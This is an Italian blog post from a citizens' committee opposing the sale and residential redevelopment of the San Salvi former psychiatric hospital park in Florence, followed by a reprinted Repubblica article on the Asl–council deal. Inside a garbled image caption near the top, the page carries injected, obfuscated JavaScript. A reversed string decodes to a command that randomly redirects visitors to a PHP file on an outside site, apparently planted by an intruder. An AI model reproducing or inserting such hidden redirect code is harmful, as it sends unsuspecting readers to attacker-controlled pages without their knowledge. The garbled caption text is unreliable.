13 novembre 2018

La speculazione attacca il Parco di San Salvi. Complici il Comune di Firenze e la Asl

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Riceviamo dal Firenze (foto CC di aldoaldoz/flickr)”]$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/06/san-salvi.jpg”>Cedro nel Parco dell'ex ospedale psichiatrico di San Salvi,    Firenze (foto CC di aldoaldoz/flickr)[/caption]

E’ dal 2004, da quando è stato reso pubblico il Piano Urbanistico Esecutivo (PUE), approvato dal C.C. nel 2007, che i cittadini del Q.2 e il Comitato “ San Salvi chi puo’ “ denunciano come la speculazione immobiliare prevista dal Piano su una parte dell’ex ospedale psichiatrico, ne compromette i caratteri di pregio strutturali e architettonici e l’integrità del parco storico nei quali è inscritta la storia e la memoria del luogo.

<<< Guarda il video in cui Franca Gianoni del Comitato lancia l’allarme >>>

E, in opposizione al PUE, hanno formulato proposte concrete chiedendo, inascoltati, un recupero di San Salvi coerente con la sua vocazione originaria di struttura collettiva e organicamente unitaria, quale la realizzazione di un grande complesso pubblico multifunzionale armoniosamente inserito nel parco, che per estensione rappresenta uno dei maggiori polmoni verdi della città, da valorizzare e destinare alla massima fruizione cittadina.

La speculazione immobiliare, per fortuna, non ha trovato ancora attuazione, mentre a partire dall’insediamento della nuova amministrazione Renzi si susseguono articoli giornalistici che parlano di nuove, affatto positive, proposte della stessa giunta su San Salvi, di acquisizione da parte del Comune unicamente allo scopo di una gestione tecnico-immobiliare e finanziaria del suo patrimonio edilizio.

L’ultimo, assai sconcertante, è apparso su “Repubblica” il 2 giugno u.s. (vedi sotto), intitolato con la più spudorata disinvoltura “ San Salvi, case e villette nell’ex manicomio”, quasi si trattasse di una normale lottizzazione in campo aperto.

Si parla di una decisione presa congiuntamente tra Asl e Comune per trasformare, mediante Piano Strutturale, tutta l’area da sanitaria ad abitativa, dando luogo ad una colossale operazione speculativa che porterà alla cassa dell’Asl 120 milioni, e a Palazzo Vecchio i soldi degli oneri di urbanizzazione (sic!).

Nessuna valutazione sugli impatti urbanistici derivanti da un simile progetto sembra contemplata nell’accordo, in rapporto cioè alle problematiche del contesto urbano di appartenenza, al flusso aggiuntivo di mobilità in un quartiere già congestionato e densamente abitato, ai danni derivanti da un eccessivo peso urbanistico sul fragile parco storico ecc. Totalmente ignorato dai soggetti interessati, risulta, addirittura, l’imprescindibile vincolo monumentale ( D.L. 490/99) relativo al mantenimento delle caratteristiche architettoniche delle singole costruzioni e dell’aspetto unitario di tutta la struttura di San Salvi.

Se quanto riportato su “Repubblica” è vero, da parte del Comune nulla sull’incontro è stato reso pubblico, in dispregio delle più elementari norme sulla trasparenza: un chiaro segnale di come il coinvolgimento democratico dei cittadini, tanto vantata dal neo sindaco come rinnovamento politico, sia un mero espediente demagogico.

Se questi, che emergono su San Salvi, costituiscono, inoltre, i nuovi indirizzi di politica urbanistica della giunta Renzi, essi appaiono tutt’altro che innovativi, ma in perfetta e nefasta continuità con il peggiore passato.

Il Comitato assieme ai cittadini continuerà la sua lotta per la salvaguardia di San Salvi, a tal fine ha promosso un appello che ha già raccolto numerose adesioni, e non rinuncerà a vigilare sul rispetto dei vincoli che tutelano l’ex ospedale psichiatrico e il suo parco storico.

Fonte Comitato San Salvi chi può

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San Salvi, case e villette nell’ ex manicomio.

L’articolo di Michele Bocci da Repubblica Firenze del 2 giugno scorso

Il Parco di San Salvi

Un nuovo quartiere per Firenze. Case tra gli alberi, vialetti tranquilli, il centro abbastanza vicino. San Salvi ha un futuro residenziale. Lo hanno deciso ieri Asl e Comune durante un incontro in cui sono stati definiti gli ultimi dettagli dell’ operazione che trasformerà tutta l’ area da sanitaria ad abitativa. L’ azienda diretta dall’ ingegnere Luigi Marroni conta di intascare circa 120 milioni, Palazzo Vecchio i soldi che versati per gli oneri di urbanizzazione. Inoltre l’ amministrazione darà un nuovo volto ad una zona della città grande 32 ettari. Ai tecnici dell’ azienda il Comune ha dato 15 giorni per presentare le carte, poi San Salvi verrà inserita come area destinata al residenziale nel piano strutturale, il documento urbanistico che individua le funzioni zona per zona ma non i volumi, da stabilirsi successivamente con il regolamento urbanistico. Il piano dovrebbe essere approvato entro settembre ma già durante l’ estate verrà reso pubblico e i cittadini potranno fare le loro osservazioni. Se tutto fila liscio, a gennaio dell’ anno prossimo la Asl potrà fare i bandi per vendere San Salvi pezzo per pezzo ai privati. A quel punto, chi acquisterà il diritto a costruire dovrà versare a Palazzo Vecchio gli oneri di urbanizzazione.

E’ probabile che alcune delle strutture, comunque una piccola parte, vengano destinate ad uffici. Tra l’ altro alcune delle palazzine sul lato più vicino a via Aretina sono già di proprietà di Palazzo Vecchio. Quella di San Salvi sarà la prima grande operazione immobiliare dell’ azienda sanitaria di Firenze nell’ era Renzi. Produrrà un cambiamento di programma non da poco, e molti mal di pancia tra i dipendenti amministrativi a cui piaceva l’ idea di andarea lavorare tra il verde nelle palazzine dell’ ex manicomio, ma servirà anche a dare respiro ai conti. La Asl ha infatti bisogno di soldi per integrare i finanziamenti già ottenuti per costruire il nuovo Torregalli. Il progetto è pronto, ma non ci sono ancora tutti i 140 milioni di euro necessari per aprire il cantiere. Sapendo che i soldi arriveranno si può iniziare a programmare l’ avvio dei lavori che praticamente ricostruiranno un nuovo ospedale accanto al vecchio mentre questo sarà in funzione. Ma parte dei soldi ricavati da San Salvi serviranno anche a trovare una nuova sede per gli uffici dell’ azienda.

Fino all’anno scorso infatti il progetto era quello di portare nell’ area dietro piazza Alberti praticamente tutti gli amministrativi (e anche alcune strutture sanitaria) per un totale di circa un migliaio di persone. Anche la direzione dell’ azienda doveva trovare qui la sua sede. Dalla fine del 2009 la Asl si è messa a cercare un grande palazzo, da circa 20mila metri quadri, dove poter spostare tutti gli uffici. Ne sono stati già visti alcuni (tra questi l’ immobile delle Ferrovie tra viale Lavagnini e via Leonardo Da Vinci, quello Telecom di via Masaccio, quello della Nazione in viale Giovane Italia) ma non sarebbero adatti o comunque costerebbero troppo. Dopo il via libera di ieri l’ operazione dovrà essere accelerata, anche se ci vorranno alcuni mesi prima di dover abbandonare le palazzine di San Salvi. Comune e azienda sanitaria locale hanno altre partite immobiliari in ballo. Ad esempio quella che riguarda l’ Iot. Anche per l’ ex istituto ortopedico toscano si è pensato ad un cambio di destinazione e ad una possibile vendita. In questo caso si stima di riuscire ad incassare, vista anche la posizione dell’ ospedale, sul viale dei Colli, circa 80 milioni di euro. Del resto il sindaco Matteo Renzi a suo tempo aveva chiesto ad azienda e Regione di discutere di tutte le strutture di proprietà della Asl non utilizzate a fini sanitari e con «rilevante peso urbanistico per la città». A partire è proprio la più significativa, sia dal punto di vista dei volumi che da quello simbolico: San Salvi.

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